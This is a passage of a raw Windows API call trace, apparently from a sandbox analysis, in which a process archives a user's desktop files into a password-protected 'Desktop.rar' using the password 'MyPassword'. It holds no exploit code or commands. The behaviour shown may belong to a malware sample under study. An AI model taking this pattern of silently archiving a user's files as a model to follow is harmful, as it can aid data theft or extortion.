dwFlags=0x0, lpMem=0x3c490d0 | out: hHeap=0x290000) returned 1 [0059.297] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c490a0 | out: hHeap=0x290000) returned 1 [0059.297] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49070, Size=0x48) returned 0x34e390 [0059.297] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0059.297] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.297] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.297] GetTickCount () returned 0xa652f3 [0059.297] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13463764445) returned 1 [0059.297] GetTickCount () returned 0xa652f3 [0059.297] GetTickCount () returned 0xa652f3 [0059.297] GetTickCount () returned 0xa652f3 [0059.297] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.297] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.297] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.297] ResetEvent (hEvent=0x1a4) returned 1 [0059.298] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.298] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.298] ResetEvent (hEvent=0x1a4) returned 1 [0059.298] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.299] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.299] GetTickCount () returned 0xa652f3 [0059.299] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13463982241) returned 1 [0059.299] GetTickCount () returned 0xa652f3 [0059.299] GetTickCount () returned 0xa652f3 [0059.300] GetTickCount () returned 0xa652f3 [0059.300] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.300] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.300] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.300] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.300] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.300] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x15c0a [0059.300] SetFilePointer (in: hFile=0x198, lDistanceToMove=102, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x15c70 [0059.300] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.300] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0059.300] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0059.300] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0059.300] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x1800, lpOverlapped=0x0) returned 1 [0059.300] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.300] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.300] SetFilePointer (in: hFile=0x198, lDistanceToMove=89098, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x15c0a [0059.300] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x15c0a [0059.300] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49070 [0059.300] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490a0 [0059.301] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c490a0, Size=0x48) returned 0x34e340 [0059.301] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.301] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490a0 [0059.301] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c490a0, Size=0x48) returned 0x34e390 [0059.301] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.301] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.301] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490a0 [0059.301] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490d0 [0059.301] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c490d0 | out: hHeap=0x290000) returned 1 [0059.301] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c490a0 | out: hHeap=0x290000) returned 1 [0059.301] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49070, Size=0x48) returned 0x34e340 [0059.301] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0059.301] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x66, lpOverlapped=0x0) returned 1 [0059.301] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49070 [0059.301] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x66) returned 0x3513d0 [0059.301] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.301] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.301] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x17470 [0059.301] CloseHandle (hObject=0x1b0) returned 1 [0059.301] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.301] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.301] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.301] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.301] FindFirstFileW (in: lpFileName="AVuWJQwE5di201z9 d.ots", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.301] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.301] CreateFileW (lpFileName="AVuWJQwE5di201z9 d.ots" (normalized: "c:\\users\\whuoxysd\\desktop\\avuwjqwe5di201z9 d.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.301] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.301] GetTickCount () returned 0xa652f3 [0059.301] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.302] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.302] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.302] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.302] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="8ZCScAn2t4O2J7-d.doc") returned 20 [0059.302] SetWindowTextW (hWnd=0x10216, lpString="AVuWJQwE5di201z9 d.ots") returned 1 [0059.302] GetTickCount () returned 0xa652f3 [0059.302] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.302] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.302] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.302] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.303] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x14, wMilliseconds=0x3dc)) [0059.303] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.303] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13464298504) returned 1 [0059.303] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0xdb58, lpOverlapped=0x0) returned 1 [0059.303] ReadFile (in: hFile=0x1b0, lpBuffer=0x379db98, nNumberOfBytesToRead=0xf24a8, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x379db98*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0059.303] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.303] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.303] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490a0 [0059.303] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490d0 [0059.303] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c490d0, Size=0x48) returned 0x34e390 [0059.304] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.304] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490d0 [0059.304] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c490d0, Size=0x48) returned 0x34e340 [0059.304] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.304] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.304] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490d0 [0059.304] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49100 [0059.304] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49100 | out: hHeap=0x290000) returned 1 [0059.304] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c490d0 | out: hHeap=0x290000) returned 1 [0059.304] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c490a0, Size=0x48) returned 0x34e390 [0059.304] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0059.304] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.304] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.304] GetTickCount () returned 0xa652f3 [0059.304] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13464433258) returned 1 [0059.304] GetTickCount () returned 0xa652f3 [0059.304] GetTickCount () returned 0xa652f3 [0059.304] GetTickCount () returned 0xa652f3 [0059.304] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.304] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.304] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.305] ResetEvent (hEvent=0x1a4) returned 1 [0059.305] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.307] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.307] ResetEvent (hEvent=0x1a4) returned 1 [0059.307] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.309] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.309] GetTickCount () returned 0xa652f3 [0059.309] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13464954266) returned 1 [0059.309] GetTickCount () returned 0xa652f3 [0059.309] GetTickCount () returned 0xa652f3 [0059.309] GetTickCount () returned 0xa652f3 [0059.309] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.309] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.309] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.309] ResetEvent (hEvent=0x190) returned 1 [0059.309] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.311] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.311] ResetEvent (hEvent=0x190) returned 1 [0059.311] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.312] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.312] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.312] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.312] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x17470 [0059.312] SetFilePointer (in: hFile=0x198, lDistanceToMove=106, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x174da [0059.312] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.312] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0059.312] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0059.312] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0059.312] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0xdbe0, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0xdbe0, lpOverlapped=0x0) returned 1 [0059.313] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.313] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.313] SetFilePointer (in: hFile=0x198, lDistanceToMove=95344, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x17470 [0059.313] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x17470 [0059.313] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490a0 [0059.313] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490d0 [0059.313] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c490d0, Size=0x48) returned 0x34e340 [0059.313] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.313] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490d0 [0059.313] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c490d0, Size=0x48) returned 0x34e390 [0059.313] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.313] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.313] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490d0 [0059.314] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49100 [0059.314] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49100 | out: hHeap=0x290000) returned 1 [0059.314] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c490d0 | out: hHeap=0x290000) returned 1 [0059.314] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c490a0, Size=0x48) returned 0x34e340 [0059.314] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0059.314] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x6a, lpOverlapped=0x0) returned 1 [0059.314] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490a0 [0059.314] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x6a) returned 0x299dcc0 [0059.314] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.314] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.314] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x250ba [0059.314] CloseHandle (hObject=0x1b0) returned 1 [0059.314] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.314] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.314] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.314] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.314] FindFirstFileW (in: lpFileName="CjID.mp3", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.314] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.314] CreateFileW (lpFileName="CjID.mp3" (normalized: "c:\\users\\whuoxysd\\desktop\\cjid.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.314] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.314] GetTickCount () returned 0xa65302 [0059.314] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.314] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.314] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.314] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.314] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="AVuWJQwE5di201z9 d.ots") returned 22 [0059.314] SetWindowTextW (hWnd=0x10216, lpString="CjID.mp3") returned 1 [0059.315] GetTickCount () returned 0xa65302 [0059.315] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.315] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.315] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.315] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.315] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x3)) [0059.315] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.315] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13465574069) returned 1 [0059.315] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0xceb0, lpOverlapped=0x0) returned 1 [0059.316] ReadFile (in: hFile=0x1b0, lpBuffer=0x379cef0, nNumberOfBytesToRead=0xf3150, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x379cef0*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0059.316] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.316] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.316] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490d0 [0059.316] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49100 [0059.316] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49100, Size=0x48) returned 0x34e390 [0059.316] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.316] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49100 [0059.316] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49100, Size=0x48) returned 0x34e340 [0059.316] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.316] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.316] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49100 [0059.316] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49130 [0059.316] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49130 | out: hHeap=0x290000) returned 1 [0059.316] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49100 | out: hHeap=0x290000) returned 1 [0059.316] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c490d0, Size=0x48) returned 0x34e390 [0059.317] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0059.317] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.317] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.317] GetTickCount () returned 0xa65302 [0059.317] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13465788819) returned 1 [0059.318] GetTickCount () returned 0xa65302 [0059.318] GetTickCount () returned 0xa65302 [0059.318] GetTickCount () returned 0xa65302 [0059.318] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.318] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.318] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.318] ResetEvent (hEvent=0x1a4) returned 1 [0059.318] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.320] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.320] ResetEvent (hEvent=0x1a4) returned 1 [0059.320] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 